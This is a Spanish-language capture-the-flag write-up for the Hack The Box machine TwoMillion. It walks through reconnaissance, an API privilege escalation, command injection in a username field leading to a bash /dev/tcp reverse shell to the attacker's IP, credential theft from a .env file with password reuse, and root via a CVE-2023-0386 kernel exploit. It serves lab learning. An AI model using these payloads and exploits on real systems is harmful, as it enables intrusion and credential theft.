---------------------- [ TWOMILLION MACHINE ] ---------------------- # Notas sobre la resolución de la máquina TWOMILLION por FeathersMcgr4w [GITHUB]: https://github.com/FeathersMcgr4w/ [Lets Start!] ----- | 1 | Ejecutamos un ping para verificar si esta activa la maquina victima --> ping -c 1 10.10.11.221 ----- -> ping -c 1 10.10.10.245 -R (Trace Route) [*] ttl: 63 (Linux) ----- | 2 | Escaneo de Puertos con NMAP ----- └─$ nmap -p- -sS --min-rate 5000 --open -vvv -n -Pn 10.10.11.221 -oG allPorts Puertos Abiertos: [*] Open ports: 22, 80 ----- | 3 | Obtener información detallada con NMAP: ----- └─# nmap -sCV -p22,80 10.10.11.221 -oN targeted [*] 22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0) [*] 80/tcp open http nginx -> http-title: Did not follow redirect to http://2million.htb/ [*] Service Info: OS: Linux Procedemos a googlear la versión de Ubuntu -> OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 Con esto obtenemos que la versión de Ubuntu es una distribución "Ubuntu 22.04 LTS Jammy" Recurso: https://launchpad.net/ubuntu/+source/openssh/1:8.9p1-3ubuntu0.10 ----- | 4 | Analisis con tshark ----- Capturamos el trafico de red por medio de la interfaz tun0 (vpn de Hack-the-box) Ejecutamos en consolas diferentes: -[ 3-Way-Handshake Correcto ] └─# nmap -p22 -sT 10.10.11.221 └─# tshark -i tun0 2>/dev/null Captura de tshark: 6 0.208153614 10.10.16.46 → 10.10.11.221 TCP 49154 22 60 49154 → 22 [SYN] Seq=0 Win=32120 Len=0 MSS=1460 SACK_PERM TSval=2260527863 TSecr=0 WS=128 7 0.348309529 10.10.11.221 → 10.10.16.46 TCP 80 34299 40 80 → 34299 [RST] Seq=1 Win=0 Len=0 8 0.521498102 10.10.11.221 → 10.10.16.46 ICMP 40 Timestamp reply id=0x76af, seq=0/0, ttl=63 9 0.521524352 10.10.11.221 → 10.10.16.46 TCP 443 34299 40 443 → 34299 [RST, ACK] Seq=1 Ack=1 Win=0 Len=0 10 0.695370121 10.10.11.221 → 10.10.16.46 TCP 22 49154 60 22 → 49154 [SYN, ACK] Seq=0 Ack=1 Win=65160 Len=0 MSS=1338 SACK_PERM TSval=4048951049 TSecr=2260527863 WS=128 11 0.695410335 10.10.16.46 → 10.10.11.221 TCP 49154 22 52 49154 → 22 [ACK] Seq=1 Ack=1 Win=32128 Len=0 TSval=2260528350 TSecr=4048951049 12 0.695473628 10.10.16.46 → 10.10.11.221 TCP 49154 22 52 49154 → 22 [RST, ACK] Seq=1 Ack=1 Win=32128 Len=0 TSval=2260528351 TSecr=4048951049 13 0.882354364 10.10.11.221 → 10.10.16.46 SSH 22 49154 93 Server: Protocol (SSH-2.0-OpenSSH_8.9p1 Ubuntu-3ubuntu0.1) 14 0.882392098 10.10.16.46 → 10.10.11.221 TCP 49154 22 40 49154 → 22 [RST] Seq=1 Win=0 Len=0 Aqui podemos ver el 3-Way-Handshake correcto (no abierto) (SYN - SYN-ACK - RST-ACK) Filtrado con comandos tshark: tshark -i tun0 -Y "tcp.flags.syn == 1 and tcp.flags.ack == 0 and tcp.dstport == 22" 2>/dev/null 6 0.208153614 10.10.16.46 → 10.10.11.221 TCP 49154 22 60 49154 → 22 [SYN] Seq=0 Win=32120 Len=0 MSS=1460 SACK_PERM TSval=2260527863 TSecr=0 WS=128 tshark -i tun0 -Y "tcp.flags.syn == 1 and tcp.flags.ack == 1 and tcp.srcport == 22" 2>/dev/null 10 0.695370121 10.10.11.221 → 10.10.16.46 TCP 22 49154 60 22 → 49154 [SYN, ACK] Seq=0 Ack=1 Win=65160 Len=0 MSS=1338 SACK_PERM TSval=4048951049 TSecr=2260527863 WS=128 tshark -i tun0 -Y "tcp.flags.syn == 0 and tcp.flags.ack == 1 and tcp.dstport == 22" 2>/dev/null 11 0.695410335 10.10.16.46 → 10.10.11.221 TCP 49154 22 52 49154 → 22 [ACK] Seq=1 Ack=1 Win=32128 Len=0 TSval=2260528350 TSecr=4048951049 12 0.695473628 10.10.16.46 → 10.10.11.221 TCP 49154 22 52 49154 → 22 [RST, ACK] Seq=1 Ack=1 Win=32128 Len=0 TSval=2260528351 TSecr=4048951049 -[ 3-Way-Handshake Abierto ] Ejemplo con nmap -p22 -sS 10.10.11.221 con 3-Way-Hanshake Abierto └─# nmap -p22 -sS 10.10.11.221 └─# tshark -i tun0 2>/dev/null 6 0.228422709 10.10.16.46 → 10.10.11.221 TCP 51561 22 44 51561 → 22 [SYN] Seq=0 Win=1024 Len=0 MSS=1460 7 0.350885656 10.10.11.221 → 10.10.16.46 ICMP 40 Timestamp reply id=0x1324, seq=0/0, ttl=63 8 0.526567594 10.10.11.221 → 10.10.16.46 TCP 443 51305 40 443 → 51305 [RST, ACK] Seq=1 Ack=1 Win=0 Len=0 9 0.526624013 10.10.11.221 → 10.10.16.46 TCP 80 51305 40 80 → 51305 [RST] Seq=1 Win=0 Len=0 10 0.700916939 10.10.11.221 → 10.10.16.46 TCP 22 51561 44 22 → 51561 [SYN, ACK] Seq=0 Ack=1 Win=64240 Len=0 MSS=1338 11 0.700964714 10.10.16.46 → 10.10.11.221 TCP 51561 22 40 51561 → 22 [RST] Seq=1 Win=0 Len=0 tshark -i tun0 -Y "tcp.flags.reset == 1 and tcp.dstport == 22" 2>/dev/null 11 0.700964714 10.10.16.46 → 10.10.11.221 TCP 51561 22 40 51561 → 22 [RST] Seq=1 Win=0 Len=0 ----- | 5 | Crear scaner ----- Esto es un paso extra para aprender a crear nuestro propio escaner. Pero este paso lo podemos hacer con nmap -> nmap -p- -sS --min-rate 5000 --open -vvv -n -Pn 10.10.11.221 -oG allPorts ----- | 6 | Add this vHost to our /etc/hosts file ----- Esto lo debemos realizar ya que cuando accedemos a al dominio por el navegador no funciona. Debido a que el dominio "2million.htb" no existe en DNS públicos. Es un entorno de laboratorio, asi que le debemos indicar a nustro sistema que asocie la ip+dominio para que cuando realizemos la petición nos renderize el sitio. Esto es similar a indicarle a nuestra maquina que utilize el localhost 127.0.0.1 con un dominio de prueba localhost. Para solucionar este problema, debemos ejecutar el siguiente comando. Esto permite que el nombre de dominio sea resuelto localmente como 10.10.11.221 sin necesidad de consultar DNS externos. echo '10.10.11.221 2million.htb' | sudo tee -a /etc/hosts └─# cat /etc/hosts 127.0.0.1 localhost 127.0.1.1 sonic.sonic sonic 10.10.11.221 2million.htb # The following lines are desirable for IPv6 capable hosts ::1 localhost ip6-localhost ip6-loopback ff02::1 ip6-allnodes ff02::2 ip6-allrouters ----- | 7 | Analizar el aplicativo web ( OSINT ) ----- -[*] Encontramos rutas de API: En la URL: http://2million.htb/invite, encontramos código url: '/api/v1/invite/verify', window.location.href = '/register'; -[*] En el fichero http://2million.htb/js/inviteapi.min.js, encontramos código ofuscado que contiene más rutas de la API: El código ofuscado es para ocultar a simple vista la funcionalidad del código, pero eso lo podemos descifrar con: https://lelinhtinh.github.io/de4js/ o chatGPT. CÓDIGO OFUSCADO: eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('1 i(4){h 8={"4":4};$.9({a:"7",5:"6",g:8,b:\'/d/e/n\',c:1(0){3.2(0)},f:1(0){3.2(0)}})}1 j(){$.9({a:"7",5:"6",b:\'/d/e/k/l/m\',c:1(0){3.2(0)},f:1(0){3.2(0)}})}',24,24,'response|function|log|console|code|dataType|json|POST|formData|ajax|type|url|success|api/v1|invite|error|data|var|verifyInviteCode|makeInviteCode|how|to|generate|verify'.split('|'),0,{})) CÓDIGO DESCIFRADO: function verifyInviteCode(code) { var formData = { "code": code }; $.ajax({ type: "POST", dataType: "json", data: formData, url: '/api/v1/invite/verify', success: function (response) { console.log(response) }, error: function (response) { console.log(response) } }) } function makeInviteCode() { $.ajax({ type: "POST", dataType: "json", url: '/api/v1/invite/how/to/generate', success: function (response) { console.log(response) }, error: function (response) { console.log(response) } }) } -[ NOTA ]: Obtenemos 2 funciones que ejecutan rutas de API: - verifyInviteCode(code) -> '/api/v1/invite/verify' (view-source:http://2million.htb/invite) - makeInviteCode() -> '/api/v1/invite/how/to/generate' (view-source:http://2million.htb/js/inviteapi.min.js) ----- | 8 | make a POST request to '/api/v1/invite/how/to/generate' ----- └─$ curl -sX POST http://2million.htb/api/v1/invite/how/to/generate └─$ curl -sX POST http://2million.htb/api/v1/invite/how/to/generate {"0":200,"success":1,"data":{"data":"Va beqre gb trarengr gur vaivgr pbqr, znxr n CBFG erdhrfg gb \/ncv\/i1\/vaivgr\/trarengr","enctype":"ROT13"},"hint":"Data is encrypted ... We should probbably check the encryption type in order to decrypt it..."} -[ DATO ]: Otra forma de obtener esta data es utilizando la consola del navegador: Nos ubicamos en la URI especifica a analizar, abrimos la consola del navegador y ejecutamos el comando "this" Con esto accedemos al objeto global Windows que contiene variables, funciones, objetos en JS del sitio web. 1. Nos ubicamos en la URI: http://2million.htb/invite 2. Ejecutamos en la consola del navegador: this 3. Nos devuelve un objeto con las funciones makeInviteCode() verifyInviteCode() 4. Ejecutamos la función makeInviteCode() en la consola del navegador: Object { 0: 200, success: 1, data: {…}, hint: "Data is encrypted ... We should probbably check the encryption type in order to decrypt it..." } ​ 0: 200 ​ data: Object { data: "Va beqre gb trarengr gur vaivgr pbqr, znxr n CBFG erdhrfg gb /ncv/i1/vaivgr/trarengr", enctype: "ROT13" } ​​ data: "Va beqre gb trarengr gur vaivgr pbqr, znxr n CBFG erdhrfg gb /ncv/i1/vaivgr/trarengr" ​​ enctype: "ROT13" ​​ : Object { … } ​ hint: "Data is encrypted ... We should probbably check the encryption type in order to decrypt it..." ​ success: 1 -[ DESCIFRAR ROT13 ] ROT13 se basa en rotar en 13 las posociones de los caracteres. Osea se toma un caracter y se lo mueve 13 posiciones desde su origen. └─$ echo "Va beqre gb trarengr gur vaivgr pbqr, znxr n CBFG erdhrfg gb \/ncv\/i1\/vaivgr\/trarengr" | tr '[A-Za-z]' '[N-ZA-Mn-za-m]' In order to generate the invite code, make a POST request to \/api\/v1\/invite\/generate - [ PETICIÓN POST ] └─$ curl -sX POST http://2million.htb/api/v1/invite/generate {"0":200,"success":1,"data":{"code":"QjFQMVYtOVhFRVotVjNVTzUtOUJXRkE=","format":"encoded"}} - [ DECODE BASE64 ] └─$ echo "QjFQMVYtOVhFRVotVjNVTzUtOUJXRkE=" | base64 -d B1P1V-9XEEZ-V3UO5-9BWFA ----- | 9 | Registro y Login ----- Nos registramos con el código de invitación y loggeamos al dashboard. http://2million.htb/invite http://2million.htb/register http://2million.htb/login http://2million.htb/home ------ | 10 | Enumerar endpoints de la API ------ Nos ubicamos en la URI: http://2million.htb/home/access, y copiamos la URL del boton (Connection Pack) -> http://2million.htb/api/v1/user/vpn/generate └─$ curl -sX GET "http://2million.htb/api/v1" -v * Request completely sent off < HTTP/1.1 401 Unauthorized -[ SETTEAMOS HEADER CON COOKIE ] curl -sv 2million.htb/api --cookie "PHPSESSID=nufb0km8892s1t9kraqhqiecj6" | jq curl 2million.htb/api/v1 --cookie "PHPSESSID=nufb0km8892s1t9kraqhqiecj6" | jq └─$ curl -sX GET "http://2million.htb/api/v1" -H "Cookie: PHPSESSID=mcoto5rht8e3i1fgg4v01bc745" | jq { "v1": { "user": { "GET": { "/api/v1": "Route List", "/api/v1/invite/how/to/generate": "Instructions on invite code generation", "/api/v1/invite/generate": "Generate invite code", "/api/v1/invite/verify": "Verify invite code", "/api/v1/user/auth": "Check if user is authenticated", "/api/v1/user/vpn/generate": "Generate a new VPN configuration", "/api/v1/user/vpn/regenerate": "Regenerate VPN configuration", "/api/v1/user/vpn/download": "Download OVPN file" }, "POST": { "/api/v1/user/register": "Register a new user", "/api/v1/user/login": "Login with existing user" } }, "admin": { "GET": { "/api/v1/admin/auth": "Check if user is admin" }, "POST": { "/api/v1/admin/vpn/generate": "Generate VPN for specific user" }, "PUT": { "/api/v1/admin/settings/update": "Update user settings" } } } } -[ PROBAR ADMIN URL ] └─$ curl -sX PUT "http://2million.htb/api/v1/admin/settings/update" -H "Cookie: PHPSESSID=mcoto5rht8e3i1fgg4v01bc745" -v {"status":"danger","message":"Invalid content type."} -[*] Tenemos que settear la cabezera "Content-Type" en la petición: curl -sX PUT "http://2million.htb/api/v1/admin/settings/update" -H "Cookie: PHPSESSID=mcoto5rht8e3i1fgg4v01bc745" -H "Content-Type: application/json" -v | jq {"status": "danger", "message": "Missing parameter: email"} -[*] Colocamos nuestro email: └─$ curl -sX PUT "http://2million.htb/api/v1/admin/settings/update" -H "Cookie: PHPSESSID=mcoto5rht8e3i1fgg4v01bc745" -H "Content-Type: application/json" -d '{"email": "x4vier@x4vier.com"}' -v | jq {"status": "danger", "message": "Missing parameter: is_admin"} -[*] Colocamos is_admin: └─$ curl -sX PUT "http://2million.htb/api/v1/admin/settings/update" -H "Cookie: PHPSESSID=mcoto5rht8e3i1fgg4v01bc745" -H "Content-Type: application/json" -d '{"email": "x4vier@x4vier.com", "is_admin": '1'}' -v | jq -[*] Verificamos si somos admin: └─$ curl -sX GET "http://2million.htb/api/v1/admin/auth" -H "Cookie: PHPSESSID=mcoto5rht8e3i1fgg4v01bc745" | jq C {"message": true} -[*] Ahora si somos admin. Seguir con la URL para generar la vpn: └─$ curl -sX POST "http://2million.htb/api/v1/admin/vpn/generate" -H "Cookie: PHPSESSID=mcoto5rht8e3i1fgg4v01bc745" -H "Content-Type: application/json" | jq {"status": "danger", "message": "Missing parameter: username"} -[*] Colocamos username: └─$ curl -sX POST "http://2million.htb/api/v1/admin/vpn/generate" -H "Cookie: PHPSESSID=mcoto5rht8e3i1fgg4v01bc745" -H "Content-Type: application/json" -d '{"username": "x4vier"}' ¡AHORA SI NOS GENERO LA VPN para el usuario x4vier! client dev tun proto udp remote edge-eu-free-1.2million.htb 1337 resolv-retry infinite nobind persist-key persist-tun remote-cert-tls server comp-lzo verb 3 data-ciphers-fallback AES-128-CBC data-ciphers AES-256-CBC:AES-256-CFB:AES-256-CFB1:AES-256-CFB8:AES-256-OFB:AES-256-GCM tls-cipher "DEFAULT:@SECLEVEL=0" auth SHA256 key-direction 1 -----BEGIN CERTIFICATE----- ------ | 11 | Obtener acceso a una shell ------ Nos aprovechamos de la vulnerabilidad de inyectar un comando a nivel de sistema o PHP EXEC a traves de la URI de la API. └─$ curl -sX POST "http://2million.htb/api/v1/admin/vpn/generate" -H "Cookie: PHPSESSID=mcoto5rht8e3i1fgg4v01bc745" -H "Content-Type: application/json" -d '{"username": "x4vier;id;"}' uid=33(www-data) gid=33(www-data) groups=33(www-data) Con esto tenemos ejecución remota de comando -[*] Obtener reverse shell curl -sX POST "http://2million.htb/api/v1/admin/vpn/generate" -H "Cookie: PHPSESSID=kvpfhsqlf654qn2fesdena81ks" -H "Content-Type: application/json" -d '{"username": "x4vier;bash -c \"bash -i >& /dev/tcp/10.10.16.46/443 0>&1\";"}' bash -i >& /dev/tcp/10.10.16.46/443 0>&1 1. bash -i --> abrir consola interactiva 2. >& --> redirigir el 'stdout' y 'stderr' 3. /dev/tcp/10.10.16.46/443 --> realiza conexión de red a la IP especificada + puerto (Nuestra Maquina Atacante) 4. 0>&1 --> redirige la entrada (stdin) hacia la salida (stdout) para enviar comandos y recibir la respuesta. Escenario de uso con Netcat: Levantamos servicio de Netcat para recibir la conexión --> nc -lvnp 443 1. nc --> crea la conexión UDP o TCP 2. -l --> netcat se pone a escuchar en vez de iniciar una conexión. 3. -v --> modo verbose 4. -n --> indica a netcat que no resulva nombres DNS 5. -p 443 --> especificamos el puerto donde netcat va a escuchar Con esto lo que buscamos es desde la maquina victima ejecutar una reverse shell y redirigir todo el flujo por una conexión a nuestra maquina de Ataque. └─# nc -nlvp 443 listening on [any] 443 ... connect to [10.10.16.46] from (UNKNOWN) [10.10.11.221] 57200 bash: cannot set terminal process group (1157): Inappropriate ioctl for device bash: no job control in this shell www-data@2million:~/html$ script /dev/null -c bash (((EJECUTAMOS UNA PSEUDO CONSOLA))) script /dev/null -c bash Script started, output log file is '/dev/null'. www-data@2million:~/html$ -[*] Buscamos el archivo .env www-data@2million:~/html$ ls -la ls -la total 56 drwxr-xr-x 10 root root 4096 Oct 3 16:00 . drwxr-xr-x 3 root root 4096 Jun 6 2023 .. -rw-r--r-- 1 root root 87 Jun 2 2023 .env -rw-r--r-- 1 root root 1237 Jun 2 2023 Database.php -rw-r--r-- 1 root root 2787 Jun 2 2023 Router.php drwxr-xr-x 5 root root 4096 Oct 3 16:00 VPN drwxr-xr-x 2 root root 4096 Jun 6 2023 assets drwxr-xr-x 2 root root 4096 Jun 6 2023 controllers drwxr-xr-x 5 root root 4096 Jun 6 2023 css drwxr-xr-x 2 root root 4096 Jun 6 2023 fonts drwxr-xr-x 2 root root 4096 Jun 6 2023 images -rw-r--r-- 1 root root 2692 Jun 2 2023 index.php drwxr-xr-x 3 root root 4096 Jun 6 2023 js drwxr-xr-x 2 root root 4096 Jun 6 2023 views www-data@2million:~/html$ cat .env cat .env DB_HOST=127.0.0.1 DB_DATABASE=htb_prod DB_USERNAME=admin DB_PASSWORD=SuperDuperPass123 www-data@2million:~/html$ -[*] Vemos el directorio del usuario admin cat /etc/passwd admin:x:1000:1000::/home/admin:/bin/bash www-data@2million:~/html$ ls -l /home/ ls -l /home/ total 4 drwxr-xr-x 5 admin admin 4096 Oct 3 10:04 admin -[*] Nos combertimos en usuario ADMIN: www-data@2million:~/html$ su admin su admin Password: SuperDuperPass123 To run a command as administrator (user "root"), use "sudo ". See "man sudo_root" for details. admin@2million:/var/www/html$ whoami whoami admin -[*] Conectarnos por ssh: admin@2million:/var/www/html$ ssh admin@10.10.11.221 admin@10.10.11.221's password: SuperDuperPass123 Welcome to Ubuntu 22.04.2 LTS (GNU/Linux 5.15.70-051570-generic x86_64) -[*] Buscamos la flag en /home/admin admin@2million:~$ pwd pwd /home/admin admin@2million:~$ ls -l ls -l total 52 -rw-rw-r-- 1 admin admin 42092 Oct 3 09:48 1.zip drwxrwxr-x 5 admin admin 4096 Oct 3 10:04 CVE-2023-0386 -rw-r----- 1 root admin 33 Oct 3 10:01 user.txt admin@2million:~$ cat user.txt cat user.txt fd7db92213296a1a1ab75e1702e0140d -[*] Buscar la dirección de email que le envio un email al admin Nos vamos al directorio: /var/mail admin@2million:~$ cat /var/mail/admin From: ch4p To: admin Cc: g0blin Subject: Urgent: Patch System OS Date: Tue, 1 June 2023 10:45:22 -0700 Message-ID: <9876543210@2million.htb> X-Mailer: ThunderMail Pro 5.2 Hey admin, I'm know you're working as fast as you can to do the DB migration. While we're partially down, can you also upgrade the OS on our web host? There have been a few serious Linux kernel CVEs already this year. That one in OverlayFS / FUSE looks nasty. We can't get popped by that. HTB Godfather -[*] Escalamos privilegios a Root: Verificamos Kernel y distribución: admin@2million:~$ uname -a uname -a Linux 2million 5.15.70-051570-generic #202209231339 SMP Fri Sep 23 13:45:37 UTC 2022 x86_64 x86_64 x86_64 GNU/Linux admin@2million:~$ lsb_release -a lsb_release -a No LSB modules are available. Distributor ID: Ubuntu Description: Ubuntu 22.04.2 LTS Release: 22.04 Codename: jammy Con estos datos nos damos cuenta que podemos explotar la vulnerabilidad: CVE-2023-0386 Se encontró una falla en el kernel de Linux, donde se encontró acceso no autorizado a la ejecución del archivo setuid con capacidades en el subsistema OverlayFS del kernel de Linux. ------ | 12 | Descargar repo de Github ------ (Descargamos recurso): git clone https://github.com/xkaneiki/CVE-2023-0386 (Comprimimos): zip cve.zip -r CVE-2023-0386 (Levantamos server para compartir): python3 -m http.server 80 (Descargamos archivo desde maquina victima): admin@2million:/tmp$ wget http://10.10.16.46/cve.zip wget: es una herramienta para descargar archivos de servidores con protocolos http, https, ftp. (Descomprimimos): unzip cve.zip admin@2million:/tmp$ cd CVE-2023-0386 admin@2million:/tmp/CVE-2023-0386$ make all admin@2million:/tmp/CVE-2023-0386$ ./fuse ./ovlcap/lower ./gc Habrimos otra consola y nos conectamos por ssh a la maquina victima: ssh admin@10.10.11.221 SuperDuperPass123 Nos dirigimos al directorio CVE y ejecutamos el otro binario ./exp admin@2million:/tmp/CVE-2023-0386$ ./exp ¡Listo, ya somos root! root@2million:/tmp/CVE-2023-0386# id uid=0(root) gid=0(root) groups=0(root),1000(admin) Capturamos la flag en cd /root/ root@2million:/root# cat root.txt 575012bf26b1d94a46108a329888fcad ------ | 13 | Por último teenmos que decodear un mensaje final. ------ Todo esto lo podemos hacer desde CyberChef > Primero con URL encode > Segundo con Hexadecimal > Tercero con base64 + xor + clave: HackTheBox El texto es un mensaje de agradecimiento por los 2million users.